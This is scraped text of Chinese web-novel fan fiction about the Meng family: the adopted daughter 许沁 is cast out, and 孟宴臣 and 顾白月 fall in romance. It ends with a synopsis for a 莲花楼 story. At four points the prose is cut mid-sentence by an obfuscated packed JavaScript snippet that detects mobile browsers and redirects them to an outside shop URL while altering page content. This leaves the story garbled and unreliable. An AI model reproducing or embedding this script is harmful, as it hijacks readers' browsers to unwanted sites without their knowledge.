孟怀瑾读懂了她的潜台词:“好。” 他们以为在商场上浴血厮杀过来,一遍遍经历弱肉强食的女人,会是温顺的绵羊吗? 不!她是狼,还是失了独子的母狼! 血债血偿。 晚上,宋焰和许沁再次厚颜无耻地上门,不顾他们的阻拦,自说自话地要替他们打理家业,继承国坤。 孟怀瑾冷笑:“死了这条心吧,我就是把国坤一块钱卖给国家,也绝不便宜你们这对奸夫淫·妇!我这辈子最后悔的事,就是顾念战友情谊,领养了一条白眼狼!许沁,你会下地狱的!” “说什么呢,你个糟老头子!” 宋焰想要动手,孟怀瑾躲了过去,他望向付闻樱:“准备好了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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对面传来肖亦骁的声音:“阿姨,我们找到老孟和皎皎了,半个小时后就能到家,不过,救援过程中出了一点小意外,您先做好心理准备……” 付闻樱的心沉了下去,踉跄着换好衣服,站在门口等着,期间几次险些晕倒,多亏了孟怀瑾牢牢搀着她。 瘫痪的交通经过抢修,已经勉强可以通行,肖亦骁他们是开着车回来的,刚一停靠,韩廷就去后备箱取出轮椅,扶着顾白月下来。 女孩左腿上打着一圈石膏,走路时都是单脚着地,小兔子一样蹦蹦跶跶。 付闻樱心底一咯噔,紧紧将顾白月抱进怀里,带着哭腔问:“皎皎,你怎么了?你不要吓妈妈,我们皎皎以后还要跳舞的。” 听到付闻樱还愿意认她这个女儿,顾白月鼻子一酸,“妈妈,别担心,我的腿没事,养几个月就好了,只是哥哥……” 顾白月抽泣着看向孟宴臣,付闻樱这时才注意到,孟宴臣安安静静地站在一旁,一只手搭在轮椅椅背处,脸上金丝眼镜不知去了哪里,一双眼清冷淡薄,茫然没有焦距。 看到他头上染血的绷带,付闻樱吓到几乎失声,嗓音虚浮地问:“宴臣你怎么了?你的眼睛怎么了?” 梦里种种纤毫毕现,付闻樱悲痛欲绝,抱着孟宴臣劲瘦的身躯,嚎啕大哭:“妈妈错了,妈妈真的错了,你原谅我一次?不要再抛下我跟你爸爸了。” 自有记忆以来,孟宴臣从未见过付闻樱如此哀伤,她总是沉稳端庄,落落大方,以至于让人忽略抛开外在光环,她也只不过是一个纤弱的母亲罢了。 孟宴臣成年后第一次和付闻樱这般亲近,母子两人上一次拥抱好像还是孟宴臣上幼儿园的时候,他有些怅然无措,右手举起又放下,呆呆地停在半空中,神色懵懂,让人好笑又心疼。 “哥哥,抱抱妈妈吧,她被我们吓坏了。” 顾白月牵着孟宴臣的手,轻轻放在付闻樱身上,低声道:“你看,就算妈妈偶尔强势又严厉,她的怀抱也一样温暖,是不是?” 孟宴臣缓缓地,迟疑着点了点头,在顾白月的引领下,笨拙地拍了拍付闻樱。 他这才恍然惊觉,母亲瘦弱得可怜。 孟宴臣(四十七) 赵又司稳稳落针,很快将孟宴臣扎成了一只毛绒绒的刺猬。 付闻樱急切地问道:“怎么样?” 赵又司面露忧虑:“我正尝试通过针灸,疏通宴臣脑后淤血,如果顺利的话,一个月内就能恢复视力,否则……” 他顿了顿,艰难启齿:“否则就只能等待眼角膜捐赠了。”真到了那一步,希望就渺渺无期了。 室内霎时陷入死一般的沉寂,孟怀瑾扶着黯然低泣的付闻樱,肖亦骁和韩廷几人相继缄默,不知该如何安慰孟宴臣。 倒是当事人的反应过于平淡,他穿着圆领白T恤,安安静静地倚靠在床上,额头仍旧绑着纱布,表情十分恬淡闲适,甚至微微显现一抹笑意,“不用为我担心,现在这样也很好。” 在废墟里不幸受伤昏迷,再次醒来时,眼前已经是一片混沌黑暗,那时孟宴臣也未尝不惊慌失措,就在他满怀绝望,惶惶不可终日,一只纤细柔软的手伸了过来,牢牢将他握住。 顾白月紧紧抱住他,一字一句细细安慰。 孟宴臣忽然释怀了,如果说遇到皎皎,得到皎皎,已经耗尽他此生全部运气的话,那么为此付出一些代价,似乎也很公平,又有什么好怨天尤人的。 他唯一担心的是,倘或自己此生都目不视物,深陷于无尽深渊,那该怎么照顾皎皎呢,孟宴臣万万不愿成为顾白月的累赘。 “原来哥哥伤得这么严重……”顾白月难过垂泪,她想到什么,突然兴奋地抬起头来,“哥哥需要眼角膜,巧了吗不是,我刚好有两只,到时候分给我哥一只,再买一双情侣眼罩,等做完手术咱俩一人戴一个,手拉手上街,一定酷毙了!” “皎皎……” 孟宴臣喉头哽咽,伸出手摸索着探寻,顾白月主动将手放在他掌心,哄小孩一样说道:“别怕,我会陪着你的。” 这大概是一种与生俱来的天赋,她总是知道怎么安他的心。 然而,顾白月看似乐观坚韧,私底下却因孟宴臣的伤夜不能寐。 有一次付闻樱撞见她躲在花园悄悄哭,顾白月就孩子气地跟妈妈告状,“许沁好坏,宋焰也好坏,我讨厌死他们了。” 还比划出几个数字,异想天开地问:“妈妈,我已经攒下这么多钱了,用它们聘请杀手,将坏人都杀掉,好不好?就像电视里演得那样,神不知鬼不觉。” “傻孩子。” 付闻樱笑着拍了拍皎皎的头,“你跟宴臣什么都不用管,只要每天开开心心,快快乐乐的,其他的事交给爸爸妈妈。” 只从做了那个清晰到恐怖的噩梦,付闻樱就越发迷信了,或许冥冥之中,当真有因果循环轮回转世也不一定。 既然如此,付闻樱又怎么舍得让自己的孩子手染血腥,那两个狼心狗肺的渣滓,她和丈夫会亲自动手料理。 …… 说起来真是辛酸又好笑,顾白月和孟宴臣一个砸伤了腿,一个后脑勺肿痛压迫视神经,可谓同病相怜。 工作室那边的业务都暂停下来,顾白月要养伤,干脆给花姐和小助理等人放了长假,即便偶尔有一些琐碎事务,基本线上就能处理好。 对于刚刚经历一世噩梦,至今心有余悸的孟怀瑾和付闻樱来说,没有什么比孟宴臣的健康更重要,两人将他肩上的担子尽数分了过去。 当然,以孟怀瑾和付闻樱的年纪来说,也不适合钜细靡遗一把抓,只将关乎国坤未来走向的大事死死笼住,其余的都交给多年栽培考察出来的心腹打理,防止有人趁机上位,大权旁落。 顾白月不喜欢医院的消毒水味儿,当年生母季如兰的离世,给她留下了很深的心理阴影,至今不能坦然面对。 孟宴臣知道她的心事,索性都住在家里休养,除了赵又司时常过来看诊,还专门聘请了营养师和护理师,精心准备了食谱及康复计划。 这天晚上,付闻樱夜半惊醒,被孟宴臣梦中惨状吓到,浑浑噩噩地来到孟宴臣卧房门口,正犹豫着要不要进去看他一眼,隔着薄薄一层门板,隐约听到里面传来暧昧压抑之声,似乎还有皎皎可怜巴巴地求饶…… 付闻樱顿时哭笑不得:“小兔崽子……” 孩子长大了。 只是,宴臣一向对皎皎爱若珍宝,怎么在这事上如此不懂怜香惜玉,皎皎还伤着呢,真是胡闹。 其实这回孟宴臣着实冤枉,他固然爱慕皎皎,时常心动不能自持,但现在皎皎腿伤还未痊愈呢,孟宴臣就算再禽兽,也不会选这个时候。 世界缘法还真是奇怪又奇妙,就像孟宴臣和顾白月,一个早早情思萌动,心有所属,却十几年如一日,爱得深沉内敛,含蓄隐忍。 另一个呢,好像生来少了一根弦,懵懵懂懂,天真无邪,若非阴差阳错戳破了窗户纸,只怕现在还感叹自己命好,遇到了个处处完美的哥哥。 不过呢,有些人开窍晚,可一旦了悟,就会迅速地无师自通,后来者居上,比如顾白月…… 顾白月本来住在隔壁卧室,她待在家里早也睡觉,晚也睡觉,每天除了看小说就是找哥哥,这天实在无聊到发霉,就支着一条腿,蹦蹦跶跶,日常攻略孟宴臣,饶有兴趣地逗他玩。 唉,以前怎么没发现哥哥这么漂亮,这么好玩呢,感觉凭空错失一个亿…… 孟宴臣不方便外出,时常窝在房间用专属软件听读公司文件,一个人若是忙忙碌碌成常态,冷不丁闲下来,自然是不习惯的。 听到咚咚咚的落地声,孟宴臣便很是无奈地扭过头来,无焦距的眼神,虚虚地落在顾白月这边,“皎皎又不听话了,你的腿适当运动半小时就行,总是这么蹦来蹦去会拉伤,而且被妈妈发现,要挨骂的……” 话虽如此说,他到底手脚麻利地关掉听读机,站起身,稍稍展开双臂迎接她。 顾白月最近看了几本即将被翻拍的网文小说,不知从哪儿染上的坏毛病,像个大反派一样桀桀怪笑,坚定不移地靠近孟宴臣,故意问:“哥哥别管其他人,只说你喜欢不喜欢皎皎过来呢?” 这让他怎么说得出口? 孟宴臣抿唇:“不……喜欢……” 顾白月小兔子一样跳起扑在孟宴臣身上,带着他一起在床上打滚,笑嘻嘻地拆穿他:“哈哈,给我逮到了吧,哥哥撒谎,你明明喜欢得不得了,我一靠近,你心跳就加快,噗通噗通像敲鼓,还有下面也翘……唔!” 他捂着她清香绵软的唇,手心烫得如触烙铁,耳朵尖都红了,“不许胡说!” 顾白月挣脱出来,砸吧几下嘴,笑着歪缠他,“哥哥好香好好玩,给我亲亲嘛,mua~~” 脱下严谨禁欲的职业装,换成舒适的家居服,幽冷又锋利的金丝眼镜暂时也用不上了,头发软软地自然垂覆下来,这样的孟宴臣待在自己领地内,难得展露出松弛无害的一面。 若说以前西装革履,衣饰考究的孟宴臣金质玉相,凛凛有仪,是极具攻击性和侵略性的野兽,那么此时此刻的孟宴臣,就像极了温顺绵软的小奶狗,如同未经世事的大学生一般干净清澈。 顾白月仿佛一夜之间被打通了任督二脉,甜甜软软的小情话不要钱一样洒出来,“我才发现,哥哥眉骨好高好优越哎,比我上次合作的沈影帝还要好看。哇,哥哥还有腹肌,让皎皎数一数……” 她真是坏心眼,明明知道他现在看不见,偏偏在这时候动手动脚,话还说得越来越露骨,肢体感受被无限放大,孟宴臣听得面红耳赤,羞耻得手指都蜷缩在一起。 顾白月笑意狡黠,忽然理解了纨绔子弟偷香窃玉的快乐,她再接再厉,“……还有哥哥的锁骨,精致又脆弱,像一只振翅欲飞的美丽蝴蝶。” 他的喉结明显颤动几下,皎皎感受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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领导清醒过来,也疑惑自己当年是不是被人下了降头,怎么整天捧着这么一个油腻腻的小矮子,皮笑肉不笑地说道:“我们搞消防的最怕油,要不你先回家休息一段?” 其实就是革职。 宋焰一阵无能狂怒,拍完桌子回了舅舅家,丝毫不见外地说:“沁沁今天想吃鱼,牛肉,还有西蓝花,舅妈你记得多做点。” 舅妈冷笑:“还点上了,合着我是你们俩的老妈子啊?”真想将马桶搋子杵他脸上。 舅舅也道:“宋焰,舅舅养你这么大已经仁至义尽了,家里隔音差,淼淼又还小,你跟女朋友住着不方便,要不就搬出去吧。” 这话恰好被刚刚回来的许沁听到,她怎么可能忍气吞声,直接护在宋焰面前,“你们凭什么欺负他?宋焰就是我的命!” 舅妈恨不得戳瞎双眼:“哦,那你带着你的命滚吧。” 许沁想跟宋焰回玫瑰苑住,到了地方发现压根进不了大门,找物业一问才知道,孟家收回了房子,只允许她进去收拾个人物品。 物业领着宋焰和许沁去房子里取东西,眼睁睁看着两人蝗虫过境似的好一顿搜刮,连一瓶耗油都没放过。 至于那些奢侈品和名牌包,宋焰刚一伸手,物业就笑眯眯地提醒:“收拾‘个人物品’哦。” 宋焰破口大骂:“我就知道孟家没有一个好东西,一群冷血无情的怪物!” 许沁虚着嗓音,嗲里嗲气地说:“家里的事我一向都不管的,肯定是他们想逼我服软,乖乖回家联姻,才收回房子,宋焰,你别生气。” 旁边的物业人员看乐了,谁不知道孟家两个养女,一个天上一个地下,一个是光彩夺目,人美心善的国民白月光,一个是名声臭大街,腌臜事一箩筐的活阎王。 哪个世家豪门公子哥拎不清,想着跟许沁结婚,咋的,在地府办了vip啊? 孟宴臣(完) 宋焰和许沁存款有限,两人脱离工作岗位,又失去双方家人的经济援助,在租完房子,搬完家之后,很快就捉襟见肘。 面对困境,许沁知道自己与孟家人日渐疏离,宋焰又伤了孟宴臣,付闻樱绝对不会施以援手,只好去求孟怀瑾。 想来为着当年父辈之间那一份战友情,他也不会袖手旁观。 然而,让许沁没想到的是,等她来到孟家宅院,管家却用对待客人的礼仪接待,硬生生晾了两小时,才允许他们进门。 “爸爸……” 许沁低垂着头向孟怀瑾示弱,想让他动用孟家关系,帮两人摆平麻烦。 “许小姐,请不要这么称呼我。”孟怀瑾表情淡淡,“我想你误会了,以前许小姐年幼,孟家顾念故人交情,照顾你到成年,但现在你年近三十,想必可以独立行走了。” 付闻樱不无讥讽地说道:“何止啊,我看以许小姐这么目无下尘,有情饮水饱的品格,不仅看不上咱们这充满铜臭味的商人,只怕就连咱们以前在她身上投资的钱财都要一分不差地还回来,毕竟,许小姐一向吃不惯山珍海味,就喜欢充满人间烟火味的白粥。” 许沁愕然:“爸爸妈妈,你们怎么了?” “够了!”付闻樱膈应得直皱眉头,想到梦中许沁为了宋焰这个野男人,恶狠狠地跑来指责养父母冷血无情,还当着一家人的面摔了全家福,冷然道:“少在这里惺惺作态,既然不愿意认我们为父母,就别这么口是心非,打量谁听不出来你喊得勉强吗?从小到大都这副不死不活的鬼样子,给你穿金戴银也暖不热狼心狗肺。” 付闻樱说完直接拿出几份文件,“这是解除收养关系的文件,请许小姐签字吧,我们孟家没有求着别人当千金小姐的风俗,签了字,以后许小姐爱在哪儿座山头挖野菜都行。另外这一份文件,是许小姐在孟家的所有花销记录,十八岁以前的就当孟家积德行善了,但十八岁以后的,请许小姐悉数归还。” 账单上名目详细,罗列着许沁这么多年一饮一食,大大小小所有费用,不提日常一日三餐名贵食物,单单那些考究的衣物饰品,学费生活费,出国留学的一系列开销,林林总总加起来数目庞大。 许沁怕了,这么多钱她怎么可能还得起,而且她之所以敢作天作地,不顾劝阻地与宋焰一次次放飞自我,无非是仗着孟家不会彻底放弃她,真到了恩断义绝,形同陌路的地步,许沁第一个不答应。 “爸爸妈妈,我错了,我真的知错了,你们再给我一次机会……” 付闻樱冷笑:“你是听不懂人话吗?”她起身取下墙上的全家福,从镜框里拿出照片,将上面的许沁撕了下来,扔在白眼狼脚边,“许沁,你记住,这一次是我们不要你的!” 宋焰勃然大怒:“你们竟敢欺负我的女人,孟家算什么东西,真要硬碰硬,信不信我扒你一层皮!” “你要扒谁一层皮?”顾白月拾级而下,俯在栏杆上笑盈盈地望过来,促狭地问:“你凭什么扒我妈妈一层皮,凭你那锋利的下颌角吗?” 顾白月哒哒哒地蹦下来,对孟怀瑾和付闻樱笑道:“爸爸妈妈,你们年纪大了不能动气,剩下的事交给我吧。” 付闻樱点点她的头,知道皎皎是又闲得无聊了,好笑道:“玩完就赶快去休息,小心碰到伤口。” 等到老两口离开,顾白月坐在沙发上,看向气急败坏的宋焰和许沁,托着脸颊好整以暇地说,“我要是你们俩就乖乖签字,安安分分地离开。哦,你们还不知道吧,因为许沁你那一刀,惠清姐惊吓过度,提前生产。好在经过抢救母子平安,但惠清姐肚子上留了一道永久性伤疤,宝宝也有点发育不良。所以说啊,你们俩还真是害人不浅呐,果然垃圾走到哪里都是垃圾。听说乌刑正满世界找你们俩,打算给老婆儿子出出气。怎么,还不赶快跑路?” 想到乌刑那副膀大腰圆,人狠话不多的样子,许沁顿觉小腹隐隐作痛,她想拉着宋焰离开,却在门口处被一个留着平头,其貌不扬的小眼睛中年男人拦住去路。 那人提着公文包,一副公事公办的冷淡姿态,“许小姐你好,我是孟家新聘请的首席律师,敝姓张,还请许小姐及时审阅并签署文件,不要浪费大家的时间。当然了,许小姐要是觉得付女士提出的条款有什么不合理之处,咱们可以到法庭上慢慢谈。” 许沁急了:“我哪有那么多钱?顾白月,你非要把事情做这么绝吗?!孟家是要仗势欺人,逼死我这个孤女?” 顾白月恶心得快吐了,她拍了拍胸口:“你怎么有脸说这话的,难道不是你一意孤行,伤透爸爸妈妈的心?不是你跟宋焰勾勾缠缠,工作上玩忽职守,敷衍懈怠,几次三番险些闹出人命?孟家要是再纵然你,才是养虎为患。” 还玩道德绑架这一套,顾白月经过娱乐圈的洗礼,早就懂得了什么叫弱者的眼泪,并提前做出预判,“你现在知道自己是一无所有的孤女了,之前在外面兴风作浪的时候,怎么想不起来这一点?放心,你还回来的所有钱,都将用于慈善事业,救助福利院的弃婴。” 提及这个顾白月莫名有点生气,她最近不知怎么心地柔软许多,甚至有些多愁善感起来,对软软乎乎的幼崽也多了丝疼爱,前几天去探望林惠清,还抱着她家小宝贝爱不释手地玩了好一会儿,惹得孟宴臣吃味不已。 “许小姐高中时期就险些未婚先孕,现在又在医院屡屡出纰漏,你身边这个男人满嘴脏话,毫无教养。你们在地震废墟上作秀,差点生剖孕妇,站在遇难者尸体旁边狂欢,打情骂俏,联手将孟家推上风口浪尖。燕城里消息稍微灵通一点的人家,都怕了养女这两个字,唯恐养出一个背刺父母,置家族名声于不顾的恋爱脑。不知道你想过没有,有多少人会因为你,失去脱离孤儿院,回归正常家庭的机会?为了减轻一点罪孽,还请许小姐尽快还钱!” 许沁向来不肯在顾白月面前低头,奈何这回形势比人强,前有顾白月和律师,后有乌刑随时可能跑来堵人,她不得不签字,按照约定分期还款。 律师将文件妥当整理好,冲顾白月点头致意,之后就离开了。 顾白月觉得自己变坏了,看到宋焰和许沁一脸憋屈,心底竟然觉得痛快极了,“楼上还有许小姐一些个人物品,请尽快取走。” 许沁愤愤地上楼收拾东西,宋焰竟然不愿跟着一起去。 客厅陷入沉寂,宋焰眼珠子咕噜噜转了一圈,皱着能夹死蚊子的眉头,架着胳膊梳理头发,“顾小姐,沁沁解除了收养关系,以后孟家的小姐是不是就只有你一个了?” 瞧着他油腻腻的表演,顾白月胃里一阵难受,“所以?” 宋焰微微侧脸仰头,每一个角度都经过精心设计,“说起来顾小姐可能不相信,其实我一开始比较欣赏的人就是顾小姐,许沁她懦弱,胆怯,爱疯爱玩,她那个人最没用了。” 合着这是大难临头各自飞?急着找下家了。 顾白月笑眯眯地说:“那你恐怕要失望了,我早就不想做孟家的女儿了,——直接当儿媳妇不香吗?” “你……”宋焰惊骇地张大嘴巴,一番打算落了空,不禁口无遮拦地骂道,“他妈的,我真是看错你了,原来你也是一个爱慕虚荣的女人!孟宴臣有什么好,瘦成那个样子,眼睛又瞎了,床上能满足你吗?不像我,每次都让沁沁快活得不得了……” 他弯腰凑近顾白月,恶浊的口气肆意喷洒,“怎么样,要不要跟我试……唔!” 一根导盲杖伸了过来,稳准狠地戳在宋焰胸口,牢牢抵着不准他再近一步,孟宴臣站在沙发后面,一张干净清俊的脸冷若冰霜,漠然发出危险的警告: “请你离我妻子远一点,我是瞎了,不是死了!” 语调之中藏着森森杀气,落在顾白月肩头的一只手纤长柔韧,骨感十足,充满了莫可名状的浓浓占有欲。 孟宴臣一来,顾白月的全部注意力都放在他身上,哪里还有时间应付其他人,只好让家政阿姨盯着宋焰,还别有深意地说道:“记得提醒莫阿姨看好厨房的瓶瓶罐罐,家里油盐酱醋都挺贵的,哦,尤其是蚝油……” 宋焰:“……” 顾白月同孟宴臣相互搀扶着,蹦蹦跳跳地往楼上走去。 想到方才宋焰言语无状,冒犯自己和哥哥,分明是他害得哥哥目不视物,还敢大言不惭揭人伤疤,顾白月爱记仇的小脾气上来,临走之前,故意压低嗓音说道:“宋焰,你说许沁抱着你亲热时,喊的究竟是宋焰的焰,还是孟宴臣的宴?” “当然是……” 宋焰下意识想要反驳,过往种种蛛丝马迹,不合时宜地闯入脑海,他看了看外貌丰神俊朗,身高还压了自己一头的孟宴臣,即便他再怎么逃避,内心最深处却有一道声音反反复复说道:承认吧,宋焰,你就是比不过孟宴臣,你连他脚底下的泥都不如…… 他的自负源于自卑,而现在一切美好假象都如梦幻泡影,一瞬间破灭了。 …… 孟怀瑾同付闻樱更新了社交账号,宣布孟家同两位养女解除收养关系。 消息一经传出,网友们很是不解,许沁也就算了,这段时间她天天被人爆料,都快黑成墨鱼了,可谓劣迹斑斑,罪有应得。 但顾白月好像罪不至此吧? 更让人迷惑的是,孟怀瑾夫妇前脚公开声明,顾白月只是寄养在孟家,并非法律关系上的父母与子女,后脚就发出一张新的全家福。 照片上孟怀瑾和付闻樱双双坐在前面,一个威严,一个端庄,孟宴臣和顾白月并肩站在后面,笑意浅浅,姿态亲昵。 一家四口个个颜值绝顶,洋溢着难以言说的甜蜜氛围,很是轻松和谐。 吃瓜群众们纷纷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9476598|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始解题:话说,孟家这是什么意思? 当代福尔摩斯大胆假设:咱就说有没有一种可能,孟先生和付女士不想再做国民岳父国民岳母了? 有人误打误撞,一针见血:这构图,这站位,这一脸春风得意的小样儿,你们要是不说,我还以为是宴子的结婚照……卧槽,结婚照?! 网友们看热闹不嫌事大:官……官宣? 许沁失去了孟家养女的光环,市医院那边不再买账,直接将她开除了事,许沁不得不放下身段,天天挤地铁找工作,倘或运气不好遇到乌刑,还要忍受皮肉之苦。 宋焰为人浮夸爱面子,喜欢被人捧着,然而脱离了十里台消防站,谁还认识他宋大站长,普通的工作他又看不上,嫌弃太辛苦,只能撑着颜面出去闲逛,装作一副忙着做兼职的样子,蒙骗许沁。 对于许沁,他本就是爱她的身份,远大于爱她这个人,现在许沁失去了能让他引以为傲,借机实现阶级跨越的养父母,再加上顾白月那天说的话,在宋焰心底留下一根刺,他的态度也越来越敷衍了。 宋焰每天无所事事,在街头巷尾四处游荡,直到某天误打误撞进入一家地下赌场,用身上仅剩的几十块钱赢了五百…… 仿佛一夜之间打开了新世界的大门,宋焰就此沉迷,一发不可收拾。 …… 孟宴臣通过语音关掉电脑,非常无奈地想道:皎皎真是一个记吃不记打的坏孩子。 他捉住在自己腰间作乱的手,有些邪气地勾唇:“上次是谁哭着求饶的?” 顾白月嘟着嘴唇,恶人先告状:“哥哥真小气,让我摸摸都不行。” 她近来发现一种很有趣的新游戏,仗着孟宴臣看不见,亲自动手挑选衣物装扮他,按照自己的心意,今天给孟宴臣穿上棉白色小狗家居服,明天换一套绿色小恐龙睡衣,主打的就是一个反差萌。 突然就理解了养母付闻樱为什么那么喜欢给她买东西,挑衣服。 真人版变装游戏好好玩。 孟宴臣将人箍在怀里,喘着粗气控诉:“皎皎不乖,隔三差五就来撩拨哥哥,真惹了火你又撒开手不管。” “有吗?”顾白月悻悻地摸了摸鼻子,难得反思一下,顿时觉得自己有趁人之危的嫌疑,心虚地用网上刚学来的土味情话哄他,“哥,我发现你今天有点怪。” 孟宴臣轻轻挑眉:“哪里怪?” 顾白月一本正经地胡说八道:“怪可爱。” 虽然说出口挺尬的,奈何孟宴臣吃这一套啊,他面上强装镇定,耳尖悄悄红了,被拿捏得死死的。 顾白月得了趣儿,顽劣地继续输出:“哥哥,你会弹吉他吗?” 孟宴臣迟疑着:“不会。” 顾白月搂着他的脖子甜甜腻腻的撒娇:“不会啊,那你怎么拨动了我的心弦。” “皎皎……” 孟宴臣有些招架不住,耳边传来女孩得逞的狡黠窃笑,他一时气血翻涌,将人拦腰抱起,凭感觉摸索着走到床边,“是你先招惹我的。” 顾白月最爱狐假虎威了,之所以一而再再而三地捋虎须,无非是恃宠生娇,晓得孟宴臣不会伤害自己,一旦孟宴臣起了火气动真格,她立刻就怂了。 皎皎悄咪咪地爬到床榻另一边,想要偷偷溜掉,可惜还没下床,精致纤弱的脚踝就被一只手擒住,强势地将她拖过去,男性荷尔蒙扑面而来,满满都是压迫感。 孟宴臣扯了扯领带,他今天刚旁听了一场视频会议,出于对他人的尊重,依旧如以前那般西装革履,衬衣服帖,一派严谨禁欲。 只是此时此刻,那斯斯文文,衣冠楚楚的上位者形象荡然无存,卑微地渴求巫山神女的青睐…… 他握着顾白月的手,一起落在衣扣上,暗示意味十足地说道:“哥哥今天陪皎皎好好玩?” 皎皎固然将他拿捏得死死的,但孟宴臣又何尝不了解顾白月呢,他今天这身衣服便是根据记忆,按照顾白月喜好选择的。 取悦伴侣,难道不是一个丈夫应该尽到的责任吗? 他知道皎皎喜欢看什么,自然一举一动都能合她心意。 孟宴臣诱导顾白月说话:“方才在餐桌上,皎皎说哥哥是什么?” 皎皎面颊绯绯,俨然霞光月韵,手指无措地蜷曲着,不自觉抓紧床单,小声羞赧道:“是……柚子。” 他恍惚一声轻笑,清朗之中带着迷人的磁性,喑哑地说道:“哥哥剥柚子给你吃,好不好?” 玉兔东升,皎皎月色披拂下来,悲悯世人,那么清冷,那么圣洁。 夜色迷离,他看见女孩如玉的肌肤上开出一朵朵嫣红花瓣,玉山倾倒,粉艳香浓…… 困顿之中,仰见春台月色,此生再也无憾。 十年追逐,千里蹀躞,终究…… 月亮奔我而来。 莲花楼(预案) 传闻海上有仙山,山在虚无缥缈间。 东海一战,李相夷重伤昏迷,流落荒岛,醒来时对上一双潋滟生辉的桃花眸。 小姑娘未及豆蔻,已然生得清辉皎皎,明明如月,孤身在岛上谋生,餐风饮露,不谙世事。 他手把手教她读书,识字,下棋,品茗,习武,练剑,一身惊才绝艳的技艺倾囊相授,为她开创独门武学“菩萨蛮”。 她亦陪着他,忍受跌落神坛的种种苦楚,熬过碧茶毒发时蚀骨之痛,尝百草,制丹药,一次次将他从鬼门关拉回来。 十年相伴,三千六百五十一个日日夜夜。 他们相依为命,互为软肋。 …… 十年后,一座吉祥纹莲花楼忽然出现,内有两位神出鬼没的主人。 一人青衣莲冠,病若枯竹;一人白衣玉簪,貌胜观音。 江湖盛传: “莲花楼,观音手,任是阎罗也低头。” 李莲花五感逐一丧失,神智混沌,蒙昧之时,尚且记得要随身带两个煮鸡蛋,不能让她饿肚子。 ——他已品不出滋味,幸好煮鸡蛋不需要味觉。 李莲花洒脱恣意了一辈子,唯独在她身上格外偏执: 皎皎,你看。 你有一猫,我有一狗, 猫名小妖怪,狗是狐狸精。 你擅菩萨蛮,我会扬州慢。 你通观音手,我修婆娑步。 你普济众生,我病弱欲死。 所以说啊,焉知不是满天神佛明我之苦,派你来渡我? 你又怎能说四海之内,我与你不相配,忍心弃我而去? …… 那时候在荒岛,我们两个人,活着一条命。 我死了,她活不了;她死了,我也活不下去。 初见皎皎时,我双腿骨折,倒在沙滩,周围都是泛白肿胀的浮尸,她细手细脚,衣衫褴褛,话都说不囫囵。 就是这么瘦瘦小小,弱鸡崽子一样的小姑娘,硬生生将李相夷从死人堆里背起来,一步三喘,连滚带爬地拖回山洞。 她累得胳膊差点脱臼,手臂青紫三天。 皎皎被人遗弃,小兽一样野生野长,她是一张白纸,什么都不懂。 我只好逼着自己什么都懂: 像父亲一样教她读书写字习武; 像母亲一样帮她穿衣洗脸梳发; 像兄长一样陪她采花斗草投壶…… 你问我同她什么关系,你说我们是什么关系? …… 有一年,海上降了大风雪,接连五天钓不上鱼,岛上动物全都蛰伏了起来,储存的粮食也发了霉。 我们裹着同一块兽皮取暖,我抱着她,她抱着小妖怪,两人一猫靠着仅剩的几枚干果扛了下来。 我那时碧茶毒发,痛入骨髓,一时狂性大发咬在她手背上,留下一圈齿痕,深可见骨。 世人皆知观音手白璧微瑕,殊不知罪魁祸首便是我。 疼得最狠时,我也曾悲观厌世,想要自我了断,她却寸步不离守着我。 岛上生活清寂,终日无聊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9477361|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我便每晚都给她讲故事,讲李相夷年少轻狂,载酒高歌,七百三十六战,未尝败绩…… 她听得星眸灿灿,不关心正道魁首,武林第一,只不解地问什么是油酥烧饼。 李莲花突然就不想死了。 我放在心尖上,小心翼翼护着的小姑娘啊,她姝颜绝色,本该坐拥一切,却连一文钱一个最便宜的油酥烧饼都没吃过。 我怎么舍得死…… …… 皎皎,你明知吻颈剑锋,绝不指向你,为何要一再维护他。 这江湖太大,是谁让你花了眼乱了心。 是关河梦,方多病,还是笛飞声? 你说敬我如父如兄,不敢逾越,难道忘了礼义廉耻三纲五常,本就是我一笔一划教导你。 原来那座岛才是净土,没有莲花楼主,没有千手观音,只有花花跟皎皎。 我尚且不舍得用礼教规训你,他们却妄图用繁文缛节,将你夺走。 你让我怎么甘心? 皎皎,我再给你最后一次机会,只要你乖乖跟我一起回岛上,以前的事我既往不咎。 否则…… 皎皎,我的小姑娘。 李相夷开始传道授业的第一天,有没有告诉过你。 只要我想,哪怕我只剩一层功力,哪怕命若游丝,我也有办法废了你,将你牢牢困在我身边,哪儿都去不了。 你,信是不信? 你劝我放下,不要强求。 可我偏要强求。 这四海之内,独我与你最相配。 孟宴臣番外之甜蜜小日常 门吱哑一声打开,极目望去,到处空荡荡,一室冷清。 